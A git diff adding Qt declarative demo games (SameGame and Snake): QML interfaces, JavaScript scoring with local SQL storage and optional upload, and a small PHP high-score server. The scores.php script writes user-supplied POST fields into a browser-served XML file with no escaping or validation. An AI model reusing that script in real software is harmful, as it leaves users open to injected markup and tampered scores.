+ + maxColumn + "x" + maxRow + '" ORDER BY score desc LIMIT 10');
+ if(rs.rows.length < 10)
+ highScoreBar = 0;
+ else
+ highScoreBar = rs.rows.item(rs.rows.length - 1).score;
+ }
+ );
+}
+
+function saveHighScore(name)
+{
+ if (scoresURL != "")
+ sendHighScore(name);
+ // Offline storage
+ var db = openDatabaseSync(
+ "SameGameScores",
+ "1.0",
+ "Local SameGame High Scores",
+ 100
+ );
+ var dataStr = "INSERT INTO Scores VALUES(?, ?, ?, ?)";
+ var data = [
+ name,
+ gameCanvas.score,
+ maxColumn + "x" + maxRow,
+ Math.floor(gameDuration / 1000)
+ ];
+ db.transaction(
+ function(tx) {
+ tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)');
+ tx.executeSql(dataStr, data);
+
+ // Only show results for the current grid size
+ var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "'
+ + maxColumn + "x" + maxRow + '" ORDER BY score desc LIMIT 10');
+ var r = "\nHIGH SCORES for this grid size\n\n"
+ for (var i = 0; i < rs.rows.length; i++) {
+ r += (i+1) + ". " + rs.rows.item(i).name + ' got '
+ + rs.rows.item(i).score + ' points in '
+ + rs.rows.item(i).time + ' seconds.\n';
+ }
+ if(rs.rows.length == 10)
+ highScoreBar = rs.rows.item(9).score;
+ dialog.show(r);
+ }
+ );
+}
+
+function sendHighScore(name)
+{
+ var postman = new XMLHttpRequest()
+ var postData = "name=" + name + "&score=" + gameCanvas.score
+ + "&gridSize=" + maxColumn + "x" + maxRow
+ + "&time=" + Math.floor(gameDuration / 1000);
+ postman.open("POST", scoresURL, true);
+ postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+ postman.onreadystatechange = function() {
+ if (postman.readyState == postman.DONE) {
+ dialog.show("Your score has been uploaded.");
+ }
+ }
+ postman.send(postData);
+}
diff --git a/demos/declarative/samegame/qml/samegame/highscores/README b/demos/declarative/samegame/qml/samegame/highscores/README
new file mode 100644
index 00000000..eaa00fae
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/highscores/README
@@ -0,0 +1 @@
+The SameGame example can interface with a simple PHP script to store XML high score data on a remote server. We do not have a publically accessible server available for this use, but if you have access to a PHP capable webserver you can copy the files (score_data.xml, score.php, score_style.xsl) to it and alter the highscore_server variable at the top of the samegame.js file to point to it.
diff --git a/demos/declarative/samegame/qml/samegame/highscores/score_data.xml b/demos/declarative/samegame/qml/samegame/highscores/score_data.xml
new file mode 100644
index 00000000..c3fd90d9
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/highscores/score_data.xml
@@ -0,0 +1,2 @@
+<record><score>1000000</score><name>Alan the Tester</name><gridSize>0x0</gridSize><seconds>0</seconds></record>
+<record><score>6213</score><name>Alan</name><gridSize>12x17</gridSize><seconds>51</seconds></record>
diff --git a/demos/declarative/samegame/qml/samegame/highscores/score_style.xsl b/demos/declarative/samegame/qml/samegame/highscores/score_style.xsl
new file mode 100644
index 00000000..670354c9
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/highscores/score_style.xsl
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+<xsl:template match="/">
+ <html>
+ <head><title>SameGame High Scores</title></head>
+ <body>
+ <h2>SameGame High Scores</h2>
+ <table border="1">
+ <tr bgcolor="lightsteelblue">
+ <th>Name</th>
+ <th>Score</th>
+ <th>Grid Size</th>
+ <th>Time, s</th>
+ </tr>
+ <xsl:for-each select="records/record">
+ <xsl:sort select="score" data-type="number" order="descending"/>
+ <tr>
+ <td><xsl:value-of select="name"/></td>
+ <td><xsl:value-of select="score"/></td>
+ <td><xsl:value-of select="gridSize"/></td>
+ <td><xsl:value-of select="seconds"/></td>
+ </tr>
+ </xsl:for-each>
+ </table>
+ </body>
+ </html>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/demos/declarative/samegame/qml/samegame/highscores/scores.php b/demos/declarative/samegame/qml/samegame/highscores/scores.php
new file mode 100644
index 00000000..3cceb2d7
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/highscores/scores.php
@@ -0,0 +1,34 @@
+<?php
+ $score = $_POST["score"];
+ echo "<html>";
+ echo "<head><title>SameGame High Scores</title></head><body>";
+ if($score > 0){#Sending in a new high score
+ $name = $_POST["name"];
+ $grid = $_POST["gridSize"];
+ $time = $_POST["time"];
+ if($name == "")
+ $name = "Anonymous";
+ //if($grid != "10x10"){
+ //Need a standard, so as to reject others?
+ //}
+ $file = fopen("score_data.xml", "a"); #It's XML. Happy?
+ $ret = fwrite($file, "<record><score>". $score . "</score><name>"
+ . $name . "</name><gridSize>" . $grid . "</gridSize><seconds>"
+ . $time . "</seconds></record>\n");
+ echo "Your score has been recorded. Thanks for playing!";
+ if($ret == False)
+ echo "<br/> There was an error though, so don't expect to see that score again.";
+ }else{#Read high score list
+ #Now uses XSLT to display. So just print the file. With XML cruft added.
+ #Note that firefox at least won't apply the XSLT on a php file. So redirecting
+ $file = fopen("scores.xml", "w");
+ $ret = fwrite($file, '<?xml version="1.0" encoding="ISO-8859-1"?>' . "\n"
+ . '<?xml-stylesheet type="text/xsl" href="score_style.xsl"?>' . "\n"
+ . "<records>\n" . file_get_contents("score_data.xml") . "</records>\n");
+ if($ret == False)
+ echo "There was an internal error. Sorry.";
+ else
+ echo '<script type="text/javascript">window.location.replace("scores.xml")</script>';
+ }
+ echo "</body></html>";
+?>
diff --git a/demos/declarative/samegame/qml/samegame/samegame.qml b/demos/declarative/samegame/qml/samegame/samegame.qml
new file mode 100644
index 00000000..ee8898af
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/samegame.qml
@@ -0,0 +1,161 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+import "SamegameCore"
+import "SamegameCore/samegame.js" as Logic
+
+Rectangle {
+ id: screen
+ width: 490; height: 720
+ property bool inAnotherDemo: false //Samegame often is just plonked straight into other demos
+
+ SystemPalette { id: activePalette }
+
+ Item {
+ width: parent.width
+ anchors { top: parent.top; bottom: toolBar.top }
+
+ Image {
+ id: background
+ anchors.fill: parent
+ source: "SamegameCore/pics/background.png"
+ fillMode: Image.PreserveAspectCrop
+ }
+
+ Item {
+ id: gameCanvas
+ property int score: 0
+ property int blockSize: 40
+
+ z: 20; anchors.centerIn: parent
+ width: parent.width - (parent.width % blockSize);
+ height: parent.height - (parent.height % blockSize);
+
+ MouseArea {
+ anchors.fill: parent; onClicked: Logic.handleClick(mouse.x,mouse.y);
+ }
+ }
+ }
+
+ Dialog { id: dialog; anchors.centerIn: parent; z: 21 }
+
+ Dialog {
+ id: nameInputDialog
+
+ property int initialWidth: 0
+ property alias name: nameInputText.text
+
+ anchors.centerIn: parent
+ z: 22;
+
+ Behavior on width {
+ NumberAnimation {}
+ enabled: nameInputDialog.initialWidth != 0
+ }
+
+ onClosed: {
+ if (nameInputText.text != "")
+ Logic.saveHighScore(nameInputText.text);
+ }
+ Text {
+ id: dialogText
+ anchors { left: nameInputDialog.left; leftMargin: 20; verticalCenter: parent.verticalCenter }
+ text: "You won! Please enter your name: "
+ }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (nameInputText.text == "")
+ nameInputText.openSoftwareInputPanel();
+ else
+ nameInputDialog.forceClose();
+ }
+ }
+
+ TextInput {
+ id: nameInputText
+ anchors { verticalCenter: parent.verticalCenter; left: dialogText.right }
+ focus: visible
+ autoScroll: false
+ maximumLength: 24
+ onTextChanged: {
+ var newWidth = nameInputText.width + dialogText.width + 40;
+ if ( (newWidth > nameInputDialog.width && newWidth < screen.width)
+ || (nameInputDialog.width > nameInputDialog.initialWidth) )
+ nameInputDialog.width = newWidth;
+ }
+ onAccepted: {
+ nameInputDialog.forceClose();
+ }
+ }
+ }
+
+ Rectangle {
+ id: toolBar
+ width: parent.width; height: 58
+ color: activePalette.window
+ anchors.bottom: screen.bottom
+
+ Button {
+ id: newGameButton
+ anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+ text: "New Game"
+ onClicked: Logic.startNewGame()
+ }
+
+ Button {
+ visible: !inAnotherDemo
+ text: "Quit"
+ anchors { left: newGameButton.right; leftMargin: 3; verticalCenter: parent.verticalCenter }
+ onClicked: Qt.quit();
+ }
+
+ Text {
+ id: score
+ anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+ text: "Score: " + gameCanvas.score
+ font.bold: true
+ font.pixelSize: 24
+ color: activePalette.windowText
+ }
+ }
+}
diff --git a/demos/declarative/samegame/samegame.desktop b/demos/declarative/samegame/samegame.desktop
new file mode 100644
index 00000000..18ad2d98
--- /dev/null
+++ b/demos/declarative/samegame/samegame.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=samegame
+Exec=/opt/samegame/bin/samegame
+Icon=samegame64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/samegame/samegame.pro b/demos/declarative/samegame/samegame.pro
new file mode 100644
index 00000000..fb85cd22
--- /dev/null
+++ b/demos/declarative/samegame/samegame.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/samegame
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE76774C3
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/samegame
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/samegame/samegame.qmlproject b/demos/declarative/samegame/samegame.qmlproject
new file mode 100644
index 00000000..c17ee1ee
--- /dev/null
+++ b/demos/declarative/samegame/samegame.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/samegame"
+ }
+ JavaScriptFiles {
+ directory: "qml/samegame"
+ }
+ ImageFiles {
+ directory: "qml/samegame"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/samegame/samegame.svg b/demos/declarative/samegame/samegame.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/samegame/samegame.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/samegame/samegame64.png b/demos/declarative/samegame/samegame64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/samegame/samegame64.png
Binary files differ
diff --git a/demos/declarative/samegame/samegame80.png b/demos/declarative/samegame/samegame80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/samegame/samegame80.png
Binary files differ
diff --git a/demos/declarative/samegame/samegame_harmattan.desktop b/demos/declarative/samegame/samegame_harmattan.desktop
new file mode 100644
index 00000000..1f35b8e3
--- /dev/null
+++ b/demos/declarative/samegame/samegame_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=samegame
+Exec=/usr/bin/single-instance /opt/samegame/bin/samegame
+Icon=/usr/share/icons/hicolor/80x80/apps/samegame80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/snake/main.cpp b/demos/declarative/snake/main.cpp
new file mode 100644
index 00000000..cd2b5126
--- /dev/null
+++ b/demos/declarative/snake/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/snake/snake.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/snake/qml/snake/content/Button.qml b/demos/declarative/snake/qml/snake/content/Button.qml
new file mode 100644
index 00000000..6142b1b0
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/Button.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ signal clicked
+ property string text: "Button"
+
+ color: activePalette.button; smooth: true
+ width: txtItem.width + 20; height: txtItem.height + 6
+ border.width: 1; border.color: Qt.darker(activePalette.button); radius: 8;
+
+ gradient: Gradient {
+ GradientStop {
+ id: topGrad; position: 0.0
+ color: if (mr.pressed) { activePalette.dark } else { activePalette.light } }
+ GradientStop { position: 1.0; color: activePalette.button }
+ }
+
+ MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+
+ Text {
+ id: txtItem; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
+ }
+}
diff --git a/demos/declarative/snake/qml/snake/content/Cookie.qml b/demos/declarative/snake/qml/snake/content/Cookie.qml
new file mode 100644
index 00000000..b7a3aea6
--- /dev/null
+++ b/demos/declarative/snake/qml/snake/content/Cookie.qml
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Item {
+ id: root
+ property bool dying: false
+ property int row;
+ property int column;
+ x: margin + column * gridSize
+ y: margin + row * gridSize
+
+ width: gridSize
+ height: gridSize
+ property int value : 1;
+
+ Image {
+ id: img
+ anchors.fill: parent
+ source: "pics/cookie.png"
+ opacity: 0
+ Text {
+ font.bold: true
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.horizontalCenter: parent.horizontalCenter
+ text: value
+ }
+ }
+
+ Particles { id: particles
+ width:1; height:1; anchors.centerIn: parent;
+ emissionRate: 0;
+ lifeSpan: 700; lifeSpanDeviation: 600;
+ angle: 0; angleDeviation: 360;
+ velocity: 100; velocityDeviation:30;
+ source: "pics/yellowStar.png";
+ }
+
+ states: [
+ State{ name: "AliveState"; when: dying == false
+ PropertyChanges { target: img; opacity: 1 }
+ },
+ State{ name: "DeathState"; when: dying == true
+ StateChangeScript { script: particles.burst(50); }
+ PropertyChanges { target: img; opacity: 0 }
+ }
+ ]
+ transitions: [
+ Transition {
+ NumberAnimation { target: img; property: "opacity"; duration: 100 }
+ }
+ ]
+}
diff --git a/demos/declarative/snake/qml/snake/content/HighScoreModel.qml b/demos/declarative/snake/qml/snake/content/HighScoreModel.qml
new file mode 100644
index 00000000..d8d29b79
--- /dev/null
